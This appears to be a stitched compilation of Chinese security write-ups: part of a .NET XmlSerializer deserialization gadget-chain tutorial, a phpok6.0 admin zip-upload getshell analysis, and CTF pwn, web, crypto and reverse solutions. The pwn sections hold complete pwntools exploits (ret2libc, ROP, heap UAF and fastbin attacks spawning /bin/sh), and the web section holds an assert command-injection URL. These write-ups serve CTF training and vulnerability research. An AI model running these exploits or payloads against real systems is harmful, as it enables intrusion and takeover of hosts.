ResourceDictionary，也称为资源字典通常出现在WPF或UWP应用程序中用来在多个程序集间共享静态资源。既然是WPF程序，必然设计到前端UI设计语言XAML。
XAML全称Extensible Application Markup Language (可扩展应用程序标记语言)
基于XML的，且XAML是以一个树形结构作为整体，如果对XML了解的话，就能很快的掌握，例如看下面Demo
* 第一个标签ResourceDictionary，xmlns:Runtime表示读取System.Diagnostics命令空间的名称起个别名为Runtime
* 第二个标签ObjectDataProvider指定了三个属性，x:key便于条件检索，意义不大但必须得定义；ObjectType 用来获取或设置要创建其实例的对象的类型，并使用了XAML扩展；x:Type相当于C#中typeof运算符功能，这里传递的值是System.Diagnostics.Process; MethodName用来获取或设置要调用的方法的名称，传递的值为System.Diagnostics.Process.Start方法用来启动一个进程。
* 第三个标签ObjectDataProvider.MethodParameters内嵌了两个方法参数标签，通过System:String分别指定了启动文件和启动时所带参数供Start方法使用。
介绍完攻击链中ResourceDictionary后，攻击的Payload主体已经完成，接下来通过XamlReader这个系统类所提供的XML解析器来实现攻击。
### 3.3、XamlReader
XamlReader位于System.Windows.Markup空间下，顾名思义就是用来读取XAML文件，它是默认的XAML读取器，通过Load读取Stream流中的XAML数据，并返回作为根对象，而另外一个Parse方法读取指定字符串中的XAML输入，也同样返回作为根对象，自然Parse
方法是我们关心和寻求的。
只需使用ObjectDataProvider的ObjectInstance方法实例化XamlReader，再指定MethodName为Parse，并且给MethodParameters传递序列化之后的资源字典数据，这样就可以完成XmlSerializer反序列化攻击链的打造。
## 0x04 代码审计视角
从代码审计的角度其实很容易找到漏洞的污染点，通过前面几个小节的知识能发现
序列化需要满足一个关键条件Type.GetType，程序必须通过Type类的静态方法GetType，例如以下demo
首先创建XmlDocument对象载入xml，变量typeName通过Xpath获取到Item节点的type属性的值，并传给了Type.GetType，紧接着读取Item节点内的所有Xml数据，最终交给Deserialize方法反序列化，这是一个近乎完美的利用点。再来看笔者在github上收集到的XmlSerializer反序列化类：XmlSerializeUtil.cs
此处值参数类型为Type，代码本身没有问题，问题在于程序开发者可能会先定义一个字符串变量来接受传递的type值，通过Type.GetType(string)返回
Type对象再传递进DeserializeXml，在代码审计的过程中也需要关注此处type的来源。
## 0x05 案例复盘
最后再通过下面案例来复盘整个过程，全程展示在VS里调试里通过反序列化漏洞弹出计算器。
1. 输入[http://localhost:5651/Default?node=root&value=type](http://localhost:5651/Default?node=root&value=type) 加载了远程的(192.168.231.135) 1.xml文件
2. 通过xmlHelper.GetValue得到root节点下的所有XML数据
3. 这步最关键，得到root节点的type属性，并提供给GetType方法，XmlSerializer对象实例化成功
4. XmlSerializer.Deserialize(xmlReader) 成功调出计算器
最后附上动图
## 0x06 总结
由于XmlSerializer是系统默认的反序列类，所以在实际开发中使用率还是比较高的，攻击者发现污染点可控的时候，可以从两个维度去寻找利用的点，第一从Web应用程序中寻求可以执行命令或者写WebShell的类和方法；第二就是本文中所说的利用ObjectDataProvider、ResourceDictionary、XamlReader组成的攻击链去执行命令或者反弹Shell
，最后.NET反序列化系列课程笔者会同步到 <https://github.com/Ivan1ee/>
、<https://ivan1ee.gitbook.io/> ，后续笔者将陆续推出高质量的.NET反序列化漏洞文章 ，大致课程大纲如下图
欢迎大伙持续关注，交流。 | 社区文章 |
# 前言
这里对自己简单测试过的`phpok6.0`的后台文件上传的功能点做个小结, 总的来说就是不安全的`unzip`操作, 相关漏洞均已提交至`CNVD`.
# 文件上传漏洞
文件上传, 顾名思义就是上传文件的功能行为, 之所以会被发展为危害严重的漏洞, 是因为程序没有对提交的数据进行检验或者过滤不严,
导致可以直接恶意文件或者提交修改过的数据绕过扩展名的检验. 文件上传漏洞是漏洞中最为简单猖獗的利用形式, 一般只要能上传获取地址,
可执行文件被解析就可以获取系统`WebShell`.
文件上传漏洞的常见上传点有:
* 上传头像
* 上传相册
* 上传插件
* 上传附件
* 添加文章图片
* 前台留言资料上传
* 编辑器文件上传
* ......
随着防护手段的不断增加, 直接上传恶意`PHP`文件来进行`getshell`的概率越来愈小,
但是不安全的`unzip`导致的`getshell`问题依旧还是存在于许多的`CMS`当中.
# 漏洞点
## 插件中心
导出一个已安装的插件, 接着修改一下文件的名字以及添加恶意代码, 再本地上传插件, 访问上传后的恶意文件即可`getshell`.
抓包看看请求的内容:
`/phpok6/admin.php?c=upload&f=zip&PHPSESSION=9ff1mj7tdjnnru3uahmdfg6nh5&id=WU_FILE_0&name=shell.zip&type=application/x-zip-compressed&lastModifiedDate=Tue+Mar+15+2022+12:20:22+GMT+0800+(中国标准时间)&size=10022`
在`phpok`框架中`c`是控制器, `f`是方法, 且相关代码都在`framework`文件夹下面.
因此跟进`framework/admin/upload_control.php`中的`zip_f`方法.
public function zip_f()
{
$rs = $this->lib('upload')->zipfile('upfile');
if($rs['status'] != 'ok'){
$this->json($rs['error']);
}
$this->json($rs['filename'],true);
}
可以看到`zip_f`方法会调用到`framework/libs/upload.php`中的`zipfile`方法,
可以看到这里只是做了`filemax`的检测和文件类型的检测, 接着调用`_upload`方法,
由于`zip`属于可上传文件的后缀名并且不会对压缩包中的内容做一个恶意检测, 因此可以正常上传并且解压, 恶意的`PHP`文件成功保存下来.
public function zipfile($input,$folder='')
{
if(!$input){
return array('status'=>'error','content'=>P_Lang('未指定表单名称'));
}
//如果未指定存储文件夹，则使用
if(!$folder){
$folder = $this->dir_cache;
}
$this->cateid = 0;
$this->set_dir($folder);
$this->set_type('zip');
$this->cate = array('id'=>0,'filemax'=>104857600,'root'=>$folder,'folder'=>'/','filetypes'=>'zip');
if(isset($_FILES[$input])){
$rs = $this->_upload($input);
}else{
$rs = $this->_save($input);
}
if($rs['status'] != 'ok'){
return $rs;
}
$rs['cate'] = $this->cate;
return $rs;
}
## 程序升级
按照同样的思路, 在`framework/admin`文件夹中存在一个`update_control`文件, 其中也有`zip_f`方法.
在后台存在一个程序升级的功能, 其中有一个压缩包升级, 抓包查看调用的控制器和方法, 正好对应`update_control`文件中的`zip_f`方法.
按照插件中心的压缩包文件上传`getshell`的方法, 程序升级中的压缩包升级功能成功`getshell`.
## 模块管理
依旧还是抓住`zip`上传的点, 找到后台的模块管理功能, 先导出一个已有模块, 发现压缩包中只有`xml`文件, 尝试在压缩包中加入`php`文件,
接着导入模块, 这里会显示`导入模块失败, 请检查解压缩是否成功`, 但是此时在`_cache`文件夹中会有解压后的文件夹, 且文件夹和文件名字不会变,
因此当目标网站`_cache`文件夹具有访问权限并且后台并未清空缓存时, 可以利用该点进行`getshell`.
抓包跟一下`url`, 分别为:
/phpok6/admin.php?c=upload&f=zip&PHPSESSION=cb43j0h4epcfr589foaphmk2p5&id=WU_FILE_0&name=wdnmd.zip&type=application/x-zip-compressed&lastModifiedDate=Tue+Mar+15+2022+15:23:16+GMT+0800+(中国标准时间)&size=1244 HTTP/1.1
/phpok6/admin.php?c=module&f=import&zipfile=_cache/0eb054f91b4f2a92.zip&_=1647333917744
跟进`framework/admin/module_control.php`中的`import_r`方法, 可以看到虽然后面会抛出`error`,
但是会先解压`_cache`目录下的压缩包再进行判断, 因此在`_cache`中会保留解压后的文件内容,
故可以利用`_cache`中解压后的文件进行`getshell`.
public function import_f() {
$zipfile = $this->get('zipfile');
if(!$zipfile){
$this->lib('form')->cssjs(array('form_type'=>'upload'));
$this->addjs('js/webuploader/admin.upload.js');
$this->view('module_import');
}
if(strpos($zipfile,'..') !== false){
$this->error(P_Lang('不支持带..上级路径'));
}
if(!file_exists($this->dir_root.$zipfile)){
$this->error(P_Lang('ZIP文件不存在'));
}
$this->lib('phpzip')->unzip($this->dir_root.$zipfile,$this->dir_cache);
if(!file_exists($this->dir_cache.'module.xml')){
$this->error(P_Lang('导入模块失败，请检查解压缩是否成功'));
}
}
# 总结
这里只是做了一个简单的演示, 其实相关的漏洞点还是很多的, 但是此类漏洞的利用概率很小, 毕竟前提是要拿到管理员权限登录进后台.
但是从另一方面强调了后台安全的重要性, 往往很多的建站系统只是前台做的很安全, 但是后台却一塌糊涂, 往往利用其它方式拿到管理员权限后,
配合上传压缩包来`getshell`是一个不错的选择. | 社区文章 |
# 全国大学生信息安全竞赛半决赛西北赛区 pwn题writeup
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
好久没做pwn，国赛半决赛临时复习了栈相关的漏洞利用，正好排上用场，做了几道题，写下此文做个总结和分享我的做题思路。
## Robot
提供了Binary和libc库
平台：x64
**分析确定思路**
* 拖进ida看看先：
* 试运行 看看保护机制
有canary又有NX再加上提供了Lib库,真让人让人思绪万千，后来发现其实没有那么复杂，是出题人故意迷惑我们的。
程序的流程是这样的：
先scanf()输入一串字符串（存在溢出），然后strcmp与一个32位长的字符串比较，相同则进行后续的操作，否则推出。后续操作是用户输入选择1到4，再给变量赋值字符串。除了v0=4时都会把变量传给catfile函数，作为文件名去打开并显示内容。
v0==4的时候是这样的：
可以看到赋值了flag的字符串后就退出了。其实给了lib库迷惑性很大，不过仔细想想，把其他情况的变量覆盖为flag，然后传入catfile（）函数就可以通过catfile()函数拿到flag。
所以思路如下： **通过scanf()溢出覆盖到v6，然后用户输入除1到4以外的数字，执行catfile（）拿到flag。**
**exp编写**
编写exp的时候，注意文件名只能是flag没有其他字符，我想的是用’’字符填充，并且覆盖到v6字符串长度必须要是36字节长，并且要能表示出flag文件的路径，所以我用的是”./“作为填充，因为在Linux这表示当前路径。exp如下：
from pwn import *
context.log_level="debug"
p=remote("172.16.1.101",1337)
#p=process("./Robot")
p.recvuntil("...n")
p.sendline("666")
p.recvuntil(":n")
payload1="327a6c4304ad5938eaf0efb6cc3e53dc"
payload=payload1+''+(64-len(payload1)-1)*''+'./'*16+'flag'+''
p.sendline(payload)
#gdb.attach(p)
p.recvuntil("gn")
p.sendline('5')
print p.recvline(),p.recvline(),p.recvline()
个人收获：
一开始自己做的时候，怎么也拿不到flag,原因在于，文件路径必须36个字节长，而且flag的文件名就是flag，需要一些填充和00截断。填充的字符还不能影响到flag的路径，想了一会儿决定用”./“填充。然后就拿到了flag
### pwn1
题目给了binary和lib库
**分析确定思路**
* 拿到源文件拖进ida先看看：
**我们可以看到main函数中没有对输入的长度进行限制存在溢出，get_message()函数中存在格式化字符串和溢出漏洞**
发现很明显的格式化字符串漏洞和溢出，然后进虚拟机试运行看看保护，查看got表，再确定思路。
emmm,有canary,然后nx可执行。再加上main函数和get_message函数都存在溢出问题。
所以确定思路为：
**先通过格式化字符串漏洞，泄露出canary值，然后再通过get_message()函数的gets(s)溢出返回到main函数，泄露gets函数地址，再通过泄露的函数地址和给的lib库计算出，system()函数和”/bin/sh”的地址，然后再借助getmessa
ge()函数溢出返回执行system(“/bin/sh”)
**
**调试确定偏移**
* 试运行确定格式化字符串的偏移量
发现要访问到我们自己输入的格式化串的偏移量为46，再验证下：
泄露canary之前必须得知道canary位置在哪儿，所以先动态调试调试确定canary与我们的输入的偏移量：
刚执行完从gs:0x14处获得canary值得指令，执行完毕后查看eax=0xb2b64100（这里截图没截到）
然后看看栈中的情况：
可以发现我们输入的AAAA与cannary差了25个dword。
然后与之前的46相结合，偏移量为71即可泄露canary.
然后用同样的方法可以确实getmessage()函数中我们的输入与canary的偏移量，为100个字节，canary与返回地址偏移量为12字节，从而构造payload利用泄露的canary溢出修改函数返回地址到main函数，然后再泄露gets函数位置。
**编写exp**
from pwn import *
p=process("./pwn1")
elf=ELF("./pwn1")
libc=ELF("./libc2.so")
main=0x804851b
deadbeef=0xdeadbeef
got_gets=elf.got['gets']
print hex(got_gets)
#leak the cannary first
p.recvuntil("name:")
payload="AAAA"+"%71$x"
#gdb.attach(p)
p.sendline(payload)
p.recvline()
cannary= int(p.recv()[4:12],16)
print " cannary: "+hex(cannary)
# ret to the main fuction
payload2="a"*100+p32(cannary)+12*"b"+p32(main)
#p.recvuntil(":")
p.sendline(payload2)
# leak the gets address
payload3=p32(got_gets)+" %46$s"
p.recvuntil("name:")
p.sendline(payload3)
gdb.attach(p)
p.recvline()
gets_addr=u32(p.recv()[7:11])
print "gets_addr" +hex(gets_addr)
#caculate the systemaddr and binshaddr
system_addr=gets_addr-(libc.symbols['gets']-libc.symbols['system'])
print "system addr: "+hex(system_addr)
binsh_addr=gets_addr-(libc.symbols['gets']-next(libc.search('/bin/sh')))
print "binsh addr :" +hex(binsh_addr)
# get the shell
payload4="a"*100+p32(cannary)+12*"b"+p32(system_addr)+p32(deadbeef)+p32(binsh_addr)
p.sendline(payload4)
p.interactive()
个人收获：
之前接触格式化字符串，感觉很简单，并没有实际操作，然后比赛的时候遇到真的很艰难，特别是用格式化字符串泄露的时候，recv到的结果不知道取那些位，调试了好久终于对这些东西开始敏感了，也知道坑在哪里了。
### pwn
题目给了Binary和lib库
* 分析文件流程
拖进ida看看：
x64程序
很明显的溢出
再看看保护机制
啥也没开，甚至可以使用shellcode，不过使用shellcode要能泄露出栈中的地址，有点麻烦，我使用的是rop。
### 思路
通过位于csu_init中的通用gadget泄露write函数的地址，从而计算出system函数地址，再用通用gadget将system地址和”/bin/sh”写入bss段，再通过通用gadget执行system(“/bin/sh”)
### exp 编写
借助通用型的rop编写exp，但是有点坑，有点小小的不同。
通用rop是借助的csu_init这个函数
的代码片段：
与蒸米大大的文章中有所不同，0x400600处mov指令操作的对象有所不同，可以查看蒸米大大的文章进行比对。所以从实际出发，构造的栈参数应该是这样的：
#0
#0
#1
#函数地址
#rdx
#rsi
#rdi
所以exp为：
from pwn import *
elf = ELF('pwn')
libc=ELF('libc.so')
p = process('./pwn')
bss_addr = elf.bss(0x10)
got_write = elf.got['write']
got_read = elf.got['read']
log.success("The write got address is "+ hex(got_write))
log.success("The read got address is "+ hex(got_read))
main = 0x400587
def leak(address):
p.recv()
payload = "x00"*136
payload += p64(0x400616) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(8) + p64(address) + p64(1)
payload += p64(0x400600)
payload += "x00"*56
payload += p64(main)
p.send(payload)
data = p.recv(8)
return data
write_addr=u64(leak(got_write))
print "write:"+hex(write_addr)
print "bss:" +hex(bss_addr)
system_addr=write_addr-libc.symbols['write']+libc.symbols['system']
binsh='/bin/sh'
log.success("The system address is " + hex(system_addr))
payload2 = 'x00' * 136
payload2 += p64(0x400616) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(16) + p64(bss_addr) + p64(0)
payload2 += p64(0x400600)
payload2 += "x00" * 56
payload2 += p64(main)
p.send(payload2)
addr=p64(system_addr)+binsh
p.send(addr)
payload3 = 'x00' * 136
payload3 += p64(0x400616) + p64(0) + p64(0) + p64(1) + p64(bss_addr) + p64(0) + p64(0) + p64(bss_addr+8)
payload3 += p64(0x400600)
payload3 += "x00"*56
payload3 += p64(main)
p.send(payload3)
p.interactive()
个人收获，由于csu_init中的gadaget与蒸米大大文章中有所区别，所以自己调试了很多遍，终于发现了为啥get不了shell对利用通用gadget写exp脚本有了更深的理解
## 总结
这几道题是pwn选手必会的栈漏洞利用题目类型，看着原理简单，但是到自己写exp的时候就犯难了，所以自己动手实践很重要。pwn遇到不懂的就应该多调调，我本是做逆向的临时调pwn压力山大，不过还好学到了东西！
talk is cheap , debug is real!
文件放这儿了：
<https://pan.baidu.com/s/1ImyewCgZqDDQHE_G2xrNVQ>
密码：kcu5
有兴趣的朋友可以自己调调 | 社区文章 |
# 绿城杯
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## WEB
### [warmup]ezphp
git泄漏
之后assert命令拼接
出了
view-source:http://59cc778f-089d-4f96-b191-80c7d12f13be.zzctf.dasctf.com/?link_page=flag.php%27,%20%27..%27)%20===%20false%20XOR%20system(%27cat%20./pages/flag.php%27)%20AND%20strpos(%27test/flag
## MISC
### 音频隐写
## CRYPTO
### 加密运算
古典密码，加密`idx = (a * addr + b) % m`，解密用`addr = (idx - b) * inverse(a, m) % m`就行了
### RSA-1
$M = (2021 _1001_ m*p)^e\ mod\ n$，即
M = k_1 _p^e + k_2n = (k_1p^{e-1}+k_2q)_ p
可以通过乘逆元去掉2021*1001项，再拿它和n进行一个gcd即可。
n = 17365231154926348364478276872558492775911760603002394353723603461898405740234715001820111548600914907617003806652492391686710256274156677887101997175692277729648456087534987616743724646598234466094779540729413583826355145277980479040157075453694250572316638348121571218759769533738721506811175866990851972838466307594226293836934116659685215775643285465895317755892754473332034234495795936183610569571016400535362762699517686781602302045048532131426035260878979892169441059467623523060569285570577199236309888155833013721997933960457784653262076135561769838704166810384309655788983073376941843467117256002645962737847
c = 6944967108815437735428941286784119403138319713455732155925055928646536962597672941805831312130689338014913452081296400272862710447207265099750401657828165836013122848656839100854719965188680097375491193249127725599660383746827031803066026497989298856420216250206035068180963797454792151191071433645946245914916732637007117085199442894495667455544517483404006536607121480678688000420422281380539368519807162175099763891988648117937777951069899975260190018995834904541447562718307433906592021226666885638877020304005614450763081337082838608414756162253825697420493509914578546951634127502393647068722995363753321912676
from math import gcd
from Crypto.Util.number import inverse, long_to_bytes
p = gcd(n, c)
q = n // p
d = inverse(0x10001, (p - 1) * (q - 1))
m = pow(c, d, n)
print(long_to_bytes(m // 2021 // 1001 // p))
### RSA2 PLUS
p和p1接近，q和q1接近，那么通过费马分解可以分解出p _q和p1_ q1，实际上更换一下费马分解的参数还能得到p _q1和p1_
q，因为两者也很接近。最后gcd一下就行了。
第二部分解方程即可
n1 = 6348779979606280884589422188738902470575876294643492831465947360363568026280963989291591157710389629216109615274754718329987990551836115660879103234129921943824061416396264358110216047994331119920503431491509529604742468032906950984256964560405062345280120526771439940278606226153077959057882262745273394986607004406770035459301695806378598890589432538916219821477777021460189140081521779103226953544426441823244765828342973086422949017937701261348963541035128661464068769033772390320426795044617751909787914185985911277628404632533530390761257251552073493697518547350246993679844132297414094727147161169548160586911
c1 = 6201882078995455673376327652982610102807874783073703018551044780440620679217833227711395689114659144506630609087600915116940111002026241056808189658969089532597757995423694966667948250438579639890580690392400661711864264184444018345499567505424672090632235109624193289954785503512742400960515331371813467034511130432319427185134018830006918682733848618201088649690422818940385123599468595766345668931882249779415788129316594083269412221804774856038796248038700275509397599351533280014908894068141056694660319816046357462684688942519849441237878018480036145051967731081582598773076490918572392784684372694103015244826
data1 = 274773146761138462708137582309097386437793891793691383033856524303010811294101933454824485010521468914846151819876043508541879637544444256520741418495479393777132830985856522008561088410862815913292288683761657919121930016956916865849261153721097671315883469348972925757078089715102032241818526925988645578778
data2 = 18514724270030962172566965941723224386374076294232652258701085781018776172843355920566035157331579524980108190739141959926523082142273672741849552475156278397131571360099018592018959785627785130126477982765210498547680367230723634424036009539347854344573537848628061468892166199866227984167843139793429682559241317072979374002912607549039431398267184818771503468116379618249319324788996321340764624593443106354104274472601170229835219638093242557547840060892527576940077162990069687019966946826210112318408269749294366586682732614372434218768720577917368726530200897558912687470088583774711767599580037663378929000217
n2 = 40588227045595304080360385041082238507044292731344465815296032905633525556943787610712651675460810768762763493579129831271018141591546207557410817432455139315527674932933085299277599173971912445226532235814580879585317211349524406424200622675880992390782025158621241499693400288031658194434641718026910652327933253877313106112861283314274635124734817398465059373562194694957841264834312640926278890386089611103714990646541470577351599526904458342660444968591197606820361364761648205241041444681145820799054413179462285509661124362074093583494932706249461954240408827087015525507173082129412234486228092002841868365895837463699200959915782767657258729794037776401995309244941171415842403617486719492483671490834562579225506831496881542530519595438932482796867853234159664409420977526102480385193101883785161080269573707156626838551506024455480650224305894501968583442346807126920740779780593650871645915149689424292912611578291912721896864772950410266629045542480009266574096080138709683466489568290569363478444349563498507530805502511051165160827192795520182720802422213364247355775222858214648603034743679187470844212529134374975737510982287957316878179964602394749601431823167982157434890459245394370728942790117156485268116758052636794417268680901420193002289035538753620555488506926366624641291881353268617130968991258983002165300186971963661666476600998389048880565199317280428349802824448329898502788492233381873026217202981921654673840142095839603360666049476100561268336225902504932800605464136192275593886736746497955270280541423593
c2 = 25591090168544821761746024178724660839590948190451329227481168576490717242294520739865602061082558759751196452117720647426598261568572440942370039702932821941366792140173428488344932203576334292648255551171274828821657097667106792872200082579319963310503721435500623146012954474613150848083425126987554594651797477741828655238243550266972216752593788734836373144363217639612492397228808215205862281278774096317615918854403992620720969173788151215489908812749179861803144937169587452008097008940710091361183942268245271154461872102813602754439939747566507116519362821255724179093051041994730856401493996771276172343313045755916751082693149885922105491818225012844519264933137622929024918619477538521533548551789739698933067212305578480416163609137189891797209277557411169643568540392303036719952140554435338851671440952865151077383220305295001632816442144022437763089133141886924265774247290306669825085862351732336395617276100374237159580759999593028756939354840677333467281632435767033150052439262501059299035212928041546259933118564251119588970009016873855478556588250138969938599988198494567241172399453741709840486953189764289118312870580993115636710724139809708256360212728127786394411676427828431569046279687481368215137561500777480380501551616577832499521295655237360184159889151837766353116185320317774645294201044772828099074917077896631909654671612557207653830344897644115936322128351494551004652981550758791285434809816872381900401440743578104582305215488888563166054568802145921399726673752722820646807494657299104190123945675647
import gmpy2
from math import sqrt, gcd
from Crypto.Util.number import long_to_bytes, inverse
def eulerFactor(n, tmp = None):
if tmp is None:
tmp = gmpy2.iroot(n, 2)[0] + 1
while True:
if gmpy2.iroot(tmp * tmp - n, 2)[1]:
m = gmpy2.iroot(tmp * tmp - n, 2)[0]
return (tmp - m, tmp + m)
tmp += 1
def solve(a, b, c, realRoot = False):
delta = b ** 2 - 4 * a * c
if delta < 0:
return None
if realRoot:
if delta == 0:
return (-b / (2 * a), -b / (2 * a))
tmp = sqrt(delta)
return ((-b + tmp) / (2 * a), (-b - tmp) / (2 * a))
tmp, check = gmpy2.iroot(delta, 2)
if not check:
return None
return ((-b + tmp) // (2 * a), (-b - tmp) // (2 * a))
n11, n12 = eulerFactor(n1)
n21, n22 = eulerFactor(n1, 79679231796035037354449627487236220201878797729093909877127396750043503300636464774059752126148617367251988043645511172901030621825575172979048675217343426650348954031732316861261577523337131683092320173892450855006435497340260849554793123662386809285875511168661716325547433511457598512223942089217027693180 + 1)
p1 = gcd(n11, n21)
q1 = n11 // p1
d = inverse(0x10001, (p1 - 1) * (q1 - 1))
flag = long_to_bytes(pow(c1, d, n11))
p2, q2 = solve(1, -data1, data2)
d = inverse(0x10001, p2 * (p2 - 1) * (q2 - 1) * q2 ** 2)
flag += long_to_bytes(pow(c2, d, n2))
print(flag)
## REVERSE
### 抛石机
解两个一元二次方程，每个自变量都很离谱，是 8 个 byte 直接强制转换成 double，高 4 byte 全是 0
直接 go 写个多线程爆破，然后按照大小关系、前后顺序拼接就行了
flag{454af13f-f84c-1140-1ee4-debf58a4ff3f}
### easy_re
有点花指令，直接给 patch 掉即可，加密就是个流密码，dump密钥流即可
cipher = [245, 140, 141, 228, 159, 165, 40, 101, 48, 244,
235, 211, 36, 169, 145, 26, 111, 212, 106, 215,
11, 141, 232, 184, 131, 74, 90, 110, 190, 203,
244, 75, 153, 214, 230, 84, 122, 79, 80, 20,
229, 236]
fake_plain = b'a'*len(cipher)
print(fake_plain)
fake_cipher = [242, 129, 141, 226, 133, 167, 124, 97, 97, 243,
191, 212, 115, 229, 150, 76, 55, 208, 38, 131,
8, 213, 235, 244, 219, 19, 3, 105, 242, 152,
173, 76, 200, 131, 177, 4, 42, 25, 9, 69,
182, 240]
keys = [fake_cipher[i] ^ fake_plain[i]for i in range(len(cipher))]
flag = ''
for i in range(len(cipher)):
flag += chr(cipher[i] ^ keys[i])
print(flag)
flag{c5e0f5f6-f79e-5b9b-988f-28f046117802}
### babyvxworks
vxwork 固件，直接拖到 ida 里就可以静态分析，有不少花指令，全部patch 掉即可
每个字符都是这么加密的，所以爆破即可
cipher = [188, 10, 187, 193, 213, 134, 127, 10, 201, 185, 81, 78, 136, 10,
130, 185, 49, 141, 10, 253, 201, 199, 127, 185, 17, 78, 185, 232, 141, 87]
def brute():
for i in range(len(cipher)):
for c in range(0x20, 0x7f):
tmp = c
for _ in range(30):
tmp ^= 0x22
tmp += 3
if tmp & 0xff == cipher[i]:
print(chr(c), end='')
break
brute()
flag{helo_w0rld_W3lcome_70_R3}
## PWN
### uaf
uaf打malloc_hook为ogg,getshell
#coding:utf-8
from pwn import *
import subprocess, sys, os
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
elf_path = './uaf_pwn'
ip = '82.157.5.28'
port = 52402
remote_libc_path = './x64/libc.so.6'
context(os='linux', arch='amd64')
context.log_level = 'debug'
def run(local = 1):
LD_LIBRARY_PATH = './x64/'
LD = LD_LIBRARY_PATH+'ld.so.6'
global elf
global p
if local == 1:
elf = ELF(elf_path, checksec = False)
p = process([LD, elf_path], env={"LD_LIBRARY_PATH": LD_LIBRARY_PATH})
else:
p = remote(ip, port)
def debug(cmdstr=''):
# context.terminal = ['--with-separate-debug-dir']
# context.terminal = ['/mnt/c/Windows/System32/WindowsPowerShell/v1.0/powerShell.exe', '-c', 'wt', 'bash', '-c']
# context.terminal = ['/mnt/c/windows/system32/bash.exe', '-c']
DEBUG_PATH = './x64/usr/lib/debug/lib/x86_64-linux-gnu/'
cmd='source /opt/patchelf/loadsym.py\n'
cmd+='loadsym '+DEBUG_PATH+'libc-2.23.so\n'
# cmd='set debug-file-directory '+DEBUG_PATH+'\n'
# cmd=''
cmd+=cmdstr
gdb.attach(p, cmd)
pause()
def one_gadget(filename = remote_libc_path):
return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))
def str2int(s, info = '', offset = 0):
ret = u64(s.ljust(8, '\x00')) - offset
success('%s ==> 0x%x'%(info, ret))
return ret
def chose(idx):
sla('>', str(idx))
def add(size):
chose(1)
sla('size>', str(size))
def edit(idx, content):
chose(3)
sla('index>', str(idx))
sa('', content)
def free(idx):
chose(2)
sla('index>', str(idx))
def show(idx):
chose(4)
sla('index>', str(idx))
run(0)
add(0x100)
add(0x68)
add(0x68)
free(0)
show(0)
libc = ELF(remote_libc_path)
libc.address = str2int(p.recv(6).ljust(8, '\0'), 'libc', libc.sym['__malloc_hook']+0x68)
attack = libc.sym['__malloc_hook']-0x23
free(1)
edit(1, p64(attack))
add(0x68)
add(0x68)
one = libc.address + one_gadget()[1]
payload = 'a'*0x3+p64(one)*4
edit(4, payload)
add(0x100)
# debug()
p.interactive()
### null
add溢出一个字节，可以改size大包小，main_arena泄露libc，fastbin
attack打heaplist为free[@got](https://github.com/got
"@got")，改free[@got](https://github.com/got "@got")为system，getshell
#coding:utf-8
from pwn import *
import subprocess, sys, os
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
elf_path = './null_pwn'
ip = '82.157.5.28'
port = 51904
remote_libc_path = './x64/libc.so.6'
context(os='linux', arch='amd64')
context.log_level = 'debug'
def run(local = 1):
global elf
global p
if local == 1:
elf = ELF(elf_path, checksec = False)
p = elf.process()
else:
p = remote(ip, port)
def debug(cmd=''):
# context.terminal = []
gdb.attach(p,cmd)
pause()
def one_gadget(filename = remote_libc_path):
return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))
def str2int(s, info = '', offset = 0):
ret = u64(s.ljust(8, '\x00')) - offset
success('%s ==> 0x%x'%(info, ret))
return ret
def chose(idx):
sla('Your choice :', str(idx))
def add(idx, size, content = '\n'):
chose(1)
sla('Index', str(idx))
sla('Size', str(size))
sa('Content', content)
def edit(idx, content):
chose(3)
sla('Index', str(idx))
sa('Content', content)
def free(idx):
chose(2)
sla('Index:', str(idx))
def show(idx):
chose(4)
sla('Index', str(idx))
run(0)
add(0, 0x18)
add(1, 0x28)
add(2, 0x68)
add(3, 0x18)
add(4, 0x100)
add(5, 0x18)
add(14, 0x71, '/bin/sh\0')
free(0)
add(0, 0x18, 'a'*0x18+p8(0xa1))
free(1)
add(1, 0x90, p8(0x78))
show(1)
p.recvuntil('Content : ')
libc = ELF(remote_libc_path)
libc.address = str2int(p.recv(6).ljust(7, '\0'), 'libc', libc.sym['__malloc_hook']+0x68)
free(2)
attack = 0x602120 - 0x10
one = libc.address + one_gadget()[1]
edit(1, flat('a'*0x28, 0x71, attack))
add(6, 0x68)
add(7, 0x68, p64(0x602018)*2)
edit(1, p64(libc.sym['system']))
free(14)
p.interactive()
### greentownnote
uaf，2.27无限free填充tcache，再free得到unsortedbin泄露libc，打free_hook为setcontext+0x35，SROP，getshell
#coding:utf-8
from pwn import *
import subprocess, sys, os
from dawnaa import SROP
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
elf_path = './GreentownNote'
ip = '82.157.5.28'
port = 51001
remote_libc_path = './libc-2.27.so'
context(os='linux', arch='amd64')
context.log_level = 'debug'
def run(local = 1):
global elf
global p
if local == 1:
elf = ELF(elf_path, checksec = False)
p = elf.process()
else:
p = remote(ip, port)
def debug(cmd=''):
# context.terminal = []
gdb.attach(p,cmd)
pause()
def one_gadget(filename = remote_libc_path):
return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))
def str2int(s, info = '', offset = 0):
ret = u64(s.ljust(8, '\x00')) - offset
success('%s ==> 0x%x'%(info, ret))
return ret
def chose(idx):
sla('> Your choice :', str(idx))
def add(size, content = '\n'):
chose(1)
sla('> Note size :', str(size))
sa('> Content :', content)
def free(idx):
chose(3)
sla('| Index :', str(idx))
def show(idx):
chose(2)
sla('| Index :', str(idx))
run(0)
add(0x100)
add(0x100)
for i in range(7):
free(1)
free(0)
show(0)
p.recvuntil('| Content: ')
libc = ELF(remote_libc_path)
libc.address = str2int(p.recv(6).ljust(8, '\0'), 'libc', libc.sym['__malloc_hook']+0x70)
add(0x100, p64(libc.sym['__free_hook']))
payload, layout, attack = SROP(libc)
add(0x100, payload)
add(0x100, p64(attack))
free(1)
p.send(layout)
p.interactive()
## 创新技术
### 安卓
很简单的题目，会发送http请求到靶机，只需要用JEB动态调试，在初始化类时将权限改为admin，之后发送请求即可。直接返回flag
### 区块链puzzle
考察 整数溢出
